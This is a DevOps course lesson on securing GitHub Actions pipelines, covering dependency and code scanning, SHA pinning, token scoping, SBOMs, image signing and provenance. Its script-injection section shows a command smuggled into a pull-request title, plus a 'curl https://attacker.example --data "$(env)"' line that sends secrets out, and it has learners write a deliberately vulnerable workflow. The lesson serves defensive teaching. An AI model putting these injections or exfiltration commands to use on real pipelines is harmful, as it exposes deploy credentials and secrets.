DevOps.Academy
CoursesCurriculumPricing

    Loading…

    ↑ ↓ move · ↵ open · Ctrl K anywhere

    ◔My learningSign in
    DevOps.Academy

    Free, hands-on DevOps lessons. Made with care in India.

    Learn

    All coursesLinux roadmapCurriculumMy learning

    Academy

    PricingCertificates

    Legal

    PrivacyTermsContact

    devops.rajeev.pro

    CI/CD PipelinesLesson 11 of 12
    Your progress · 0%
    On this page
    1. Why attackers aim at pipelines
    2. Secrets: never in the repository
    3. Dependency scanning
    4. SAST: find bugs in the code
    5. Pin actions to commit SHAs
    6. Least-privilege tokens and script injection
    7. SBOM: know what you shipped
    8. Sign what you build
    9. Provenance and SLSA
    ↖ Course roadmap
    Lesson 11 · Pipeline security

    Pipeline security: your CI is a production system

    Your pipeline holds deploy keys, so attackers aim at it. Scan secrets and dependencies, run SAST, pin actions to commit SHAs, keep tokens minimal, and close script injection.

    40 min read · intermediate · hands-on

    By the end of this lesson you'll be able to

    0 of 7 complete

    Why attackers aim at pipelines

    A pipeline can read your code, holds your deploy credentials, and pushes to production. Compromise it and you don't need to break into production: the pipeline ships the attacker's code for you, signed and approved. The ways in are few, and each has a defence:

    Five doors into a pipeline, and the lock for each. Most real incidents came through the last two.© Diagram: DevOps Academy

    Five doors into a pipeline, and the lock for each. Most real incidents came through the last two.© Diagram: DevOps Academy

    Secrets: never in the repository

    The first defence is the one from the Git course's Security lesson: push protection rejects pushes containing recognised keys, and secret scanning alerts on any already in history. Turn both on for every repository. In the pipeline itself:

    • Keep secrets in GitHub secrets or environments, never in workflow files (lesson 4).
    • Prefer OIDC to stored cloud keys, so there's nothing long-lived to leak.
    • Never print secrets, even partly, and don't pass them as command-line arguments.

    Dependency scanning

    Most of the code you ship is other people's. Check it at two moments:

    dependency-review:
      if: github.event_name == 'pull_request'
      runs-on: ubuntu-latest
      steps:
        - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        - uses: actions/dependency-review-action@a1d282b36b6f3519aa1f3fc636f609c47dddb294 # v5.0.0
          with:
            fail-on-severity: high       # block PRs that ADD a high or critical vulnerability
    
    audit:
      runs-on: ubuntu-latest
      steps:
        - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        - uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
          with:
            node-version: 22
        - run: npm audit --audit-level=high --omit=dev    # check what's ALREADY there
    
    $ npm audit --audit-level=high --omit=dev
    found 0 vulnerabilities
    

    Dependency review looks only at what a pull request changes, so it never blocks you for an old problem you didn't touch. npm audit (or pip-audit, govulncheck, Trivy for images) checks everything, and runs on a schedule too, because new vulnerabilities are published about packages you already use. Dependabot opens the pull requests that fix them (the Git course's Security lesson).

    SAST: find bugs in the code

    Static application security testing reads your source for security bugs: SQL injection, unsafe deserialisation, path traversal, secrets in code. GitHub's CodeQL is free for public repositories:

    codeql:
      runs-on: ubuntu-latest
      permissions:
        contents: read
        security-events: write       # to upload results to the Security tab
      steps:
        - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        - uses: github/codeql-action/init@24c54180a607b1449ed407dd24f251e4e9147c8d # v4.38.3
          with:
            languages: javascript-typescript
        - uses: github/codeql-action/analyze@24c54180a607b1449ed407dd24f251e4e9147c8d # v4.38.3
    

    Findings appear under Security → Code scanning and as comments on the pull request lines that introduce them. Even simpler: Settings → Advanced Security → CodeQL analysis → Default setup configures it with no YAML. Semgrep is a popular alternative with readable rules (this site runs it in CI).

    Pin actions to commit SHAs

    uses: some/action@v2 runs whatever code the v2 tag points to at that moment, with access to your secrets. Tags can be moved. In March 2025 attackers did exactly that to tj-actions/changed-files, a popular action: every tag was repointed to code that printed secrets into build logs, in thousands of repositories at once. Workflows pinned to a commit SHA kept running the old, safe code.

    # Moves when the tag moves: trusts the action's owner forever
    - uses: actions/checkout@v7
    # Can never change: this exact code, reviewed once
    - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
    

    Find the SHA on the action's Releases page, or ask the API:

    $ gh api repos/actions/checkout/git/ref/tags/v7.0.1 --jq .object.sha
    3d3c42e5aac5ba805825da76410c181273ba90b1
    

    (For annotated tags, that returns the tag object; follow it with gh api repos/<owner>/<repo>/git/tags/<sha> --jq .object.sha to get the commit.) The # v7.0.1 comment keeps it readable, and Dependabot updates pinned SHAs and their comments when you add the github-actions ecosystem. Actions published by GitHub (actions/*) are lower risk, but pinning everything is simpler than deciding each time.

    Least-privilege tokens and script injection

    Keep the token small

    permissions:
      contents: read          # top of every workflow
    jobs:
      codeql:
        permissions:
          contents: read
          security-events: write
    

    Set the repository default to read-only (Settings → Actions → General → Workflow permissions). A compromised step with a read-only token can't push code, create releases or approve its own pull request.

    Script injection

    The same title, two workflows: pasted into the script it becomes commands; passed through env: it stays text.© Animation: DevOps Academy

    The same title, two workflows: pasted into the script it becomes commands; passed through env: it stays text.© Animation: DevOps Academy

    Expressions are pasted into the script before the shell runs it. Any value someone else controls (PR titles and bodies, branch names, issue comments, commit messages) can carry shell code:

    - run: echo "Thanks for ${{ github.event.pull_request.title }}"     # vulnerable
    

    With the title Fix typo"; echo "PWNED: this ran as your workflow, with its token, the script GitHub runs becomes two commands:

    $ bash -c 'echo "Thanks for Fix typo"; echo "PWNED: this ran as your workflow, with its token"'
    Thanks for Fix typo
    PWNED: this ran as your workflow, with its token
    

    Replace echo with curl https://attacker.example --data "$(env)" and your secrets are gone. The fix: pass untrusted values through env:, where the shell sees them as data:

    - env:
        TITLE: ${{ github.event.pull_request.title }}
      run: echo "Thanks for $TITLE"                                     # safe
    
    $ TITLE='Fix typo"; echo "PWNED…' bash -c 'echo "Thanks for $TITLE"'
    Thanks for Fix typo"; echo "PWNED…
    

    actionlint flags the vulnerable form (lesson 2):

    bad.yml:6:35: "github.event.pull_request.title" is potentially untrusted. avoid using it directly in
    inline scripts. instead, pass it through an environment variable. [expression]
    
    pull_request_target runs with your secrets

    pull_request runs a fork's code with no secrets and a read-only token: safe. pull_request_target runs in the context of your repository, with secrets and a write token, so that it can label or comment on fork PRs. If a pull_request_target workflow checks out and runs the pull request's code, any stranger's PR can steal everything. Use it only for steps that never execute the PR's code.

    SBOM: know what you shipped

    When a bad CVE lands, the first question is "which of our images have it?". Grepping lockfiles across fifty repositories is slow, and lockfiles don't list what the base image brought in. A software bill of materials (SBOM) answers it: a machine-readable list of every package in an artifact, OS packages included, made at build time and kept next to the image.

    Syft reads an image and writes one. Here it is on shop-api's image, from a local registry:

    $ docker run --rm --network host anchore/syft:v1.18.1 localhost:5050/shop-api:1.0.44 -q
    NAME                                VERSION      TYPE
    busybox                             1.37.0-r31   apk
    busybox-binsh                       1.37.0-r31   apk
    express                             4.21.2       npm
    musl                                1.2.6-r2     apk
    node                                22.23.3      binary
    …
    $ docker run --rm --network host -v $PWD:/out anchore/syft:v1.18.1 localhost:5050/shop-api:1.0.44 -q \
        -o spdx-json=/out/sbom.spdx.json
    $ python3 -c "import json; print(len(json.load(open('sbom.spdx.json'))['packages']), 'packages')"
    288 packages
    
    docker run --rm --network host anchore/syft:v1.18.1 localhost:5050/shop-api:1.0.44 -q
    • dockerbuild and run containers
    • runstart a new container
    • --rmdelete the container when it exits
    • --network hostwhich network to join
    • anchore/syft:v1.18.1the image to start
    • localhost:5050/shop-api:1.0.44 -qthe command run inside, instead of the image’s default
    docker run --rm --network host -v $PWD:/out anchore/syft:v1.18.1 localhost:5050/shop-api:1.0.44 -q \
    • -v $PWD:/outmount a volume or folder, source:path-inside
    • localhost:5050/shop-api:1.0.44 -q \the command run inside, instead of the image’s default

    288 packages for an app with one dependency in package.json: the Alpine base, Node itself and express's own dependencies. That gap is why you scan the image, not the manifest. SPDX and CycloneDX are the two standard formats; scanners such as Grype or Trivy read either and match it against vulnerability databases, and docker buildx build --sbom=true can attach one at build time.

    Sign what you build

    An SBOM says what is in an image. It doesn't prove the image in the registry is the one your pipeline built. Anyone with push access, or a stolen registry token, can replace shop-api:1.0.44. Signing closes that gap: the pipeline signs the image digest, and the deploy side refuses anything without a valid signature.

    cosign stores the signature in the registry next to the image. With a key pair, made here for a local test:

    $ cosign generate-key-pair
    Private key written to cosign.key
    Public key written to cosign.pub
    $ cosign sign --yes --key cosign.key --tlog-upload=false \
        localhost:5050/shop-api@sha256:4448ccff8d227629db338796042971c23173362ab0394985c46473706d8e8b68
    Pushing signature to: localhost:5050/shop-api
    $ cosign verify --key cosign.pub --insecure-ignore-tlog=true \
        localhost:5050/shop-api@sha256:4448ccff8d227629db338796042971c23173362ab0394985c46473706d8e8b68
    Verification for localhost:5050/shop-api@sha256:4448ccff8d227629db338796042971c23173362ab0394985c46473706d8e8b68 --
    The following checks were performed on each of these signatures:
      - The cosign claims were validated
      - The signatures were verified against the specified public key
    

    Now someone builds a changed image on top of it and pushes it:

    $ cosign verify --key cosign.pub --insecure-ignore-tlog=true localhost:5050/shop-api:1.0.44-evil
    Error: no signatures found
    

    Sign the digest, never a tag: a tag can be moved to another image, a digest can't. The --tlog-upload=false and --insecure-ignore-tlog flags are only there because this was a local test. In a real pipeline, use keyless signing: on GitHub Actions, cosign uses the job's OIDC token (lesson 4), so there's no private key to leak, and every signature is recorded in Sigstore's public transparency log. Then enforce it where images run, with a Kubernetes admission policy such as Kyverno or Sigstore's policy-controller.

    The SBOM can travel the same way, as a signed attestation attached to the image:

    $ cosign attest --yes --key cosign.key --tlog-upload=false --type spdxjson --predicate sbom.spdx.json \
        localhost:5050/shop-api@sha256:4448ccff8d227629db338796042971c23173362ab0394985c46473706d8e8b68
    Using payload from: sbom.spdx.json
    $ cosign verify-attestation --key cosign.pub --insecure-ignore-tlog=true --type spdxjson \
        localhost:5050/shop-api@sha256:4448ccff8d227629db338796042971c23173362ab0394985c46473706d8e8b68
    Verification for localhost:5050/shop-api@sha256:4448ccff8d227629db338796042971c23173362ab0394985c46473706d8e8b68 --
    The following checks were performed on each of these signatures:
      - The cosign claims were validated
      - The signatures were verified against the specified public key
    

    Provenance and SLSA

    A signature says who signed. Provenance says how the artifact was made: which repository, which commit, which workflow, on which runner. With it, a deploy policy can say "only images built by .github/workflows/release.yml from main", and an image built on a laptop is rejected even if it's signed.

    SLSA ("salsa") grades how far you can trust that record. In plain words, the build levels are:

    LevelWhat it means
    L1provenance exists: the build says how it was built
    L2it's produced and signed by a hosted build platform, not by a script anyone can edit
    L3the platform keeps builds apart and keeps the signing key away from your build steps, so a build can't forge it

    On GitHub, actions/attest-build-provenance creates a signed SLSA provenance attestation for an artifact or image in one step (the job needs id-token: write and attestations: write), and gh attestation verify checks it before a deploy.

    A secure pipeline, as a checklist

    Read-only default token, permissions per job. Every third-party action pinned to a SHA, updated by Dependabot. Untrusted input only through env:. Push protection, dependency review, a scheduled audit and CodeQL on. Deploy credentials through OIDC, behind environments with reviewers. .github/workflows/ in CODEOWNERS. OpenSSF Scorecard (linked below) scores a repository against most of this list.

    ⌘
    Mini mission

    Harden shop-api's pipeline

    Add a security workflow to shop-api with dependency review on pull requests, a scheduled npm audit and CodeQL, all actions pinned to commit SHAs and a read-only token. Then fix a script-injection bug actionlint finds, and prove the fix.

    Input: The shop-api repository, actionlintOutput: A green Security workflow and an actionlint-clean repository
    Reveal one safe solution
    $ nano .github/workflows/security.yml     # dependency-review, audit and codeql jobs from this lesson
    $ gh api repos/actions/checkout/git/ref/tags/v7.0.1 --jq .object.sha   # check each pin yourself
    3d3c42e5aac5ba805825da76410c181273ba90b1
    $ cat > .github/workflows/greet.yml <<'EOF'
    on: pull_request
    permissions:
      contents: read
    jobs:
      greet:
        runs-on: ubuntu-latest
        steps:
          - run: echo "Thanks for ${{ github.event.pull_request.title }}"
    EOF
    $ actionlint                               # flags the injection on line 8
    $ nano .github/workflows/greet.yml         # move the title into env: TITLE, use "$TITLE"
    $ actionlint && echo "clean"
    clean
    $ npm audit --audit-level=high --omit=dev
    found 0 vulnerabilities
    $ git add .github && git commit -m "ci: security scanning, pinned actions" && git push
    
    cat > .github/workflows/greet.yml <<'EOF'
    • catprint a file
    • >write output to a file, replacing it
    actionlint && echo "clean"
    • &&run the next command only if this one worked
    • echoprint text
    git add .github && git commit -m "ci: security scanning, pinned actions" && git push
    • gitversion control
    • addstage changes
    • commitsave staged changes
    • pushupload commits

    Then set Settings → Actions → General → Workflow permissions to Read repository contents, and add the github-actions ecosystem to .github/dependabot.yml so the pinned SHAs stay current.

    Try it yourself

    0 of 7 steps done

    Run each task in your own account or terminal, then tick it off.

    Knowledge check

    Quick check

    Question 1 of 7

    Why is run: echo "${{ github.event.pull_request.title }}" dangerous?

    Go deeper

    Official reading for this lesson

    • DocsGitHub Docs: security hardening for GitHub ActionsGitHub Docs ↗
    • DocsGitHub Docs: about dependency reviewGitHub Docs ↗
    • DocsGitHub Docs: about code scanning with CodeQLGitHub Docs ↗
    • ToolOpenSSF ScorecardOpenSSF ↗
    • ArticleCISA: supply chain compromise of tj-actions/changed-files (CVE-2025-30066)CISA ↗

    Or get every quiz answer right and it completes itself.

    ← PreviousGitOps: Git says what runs, the cluster makes it soNext lesson →Scaling pipelines: reuse, your own runners, speed and cost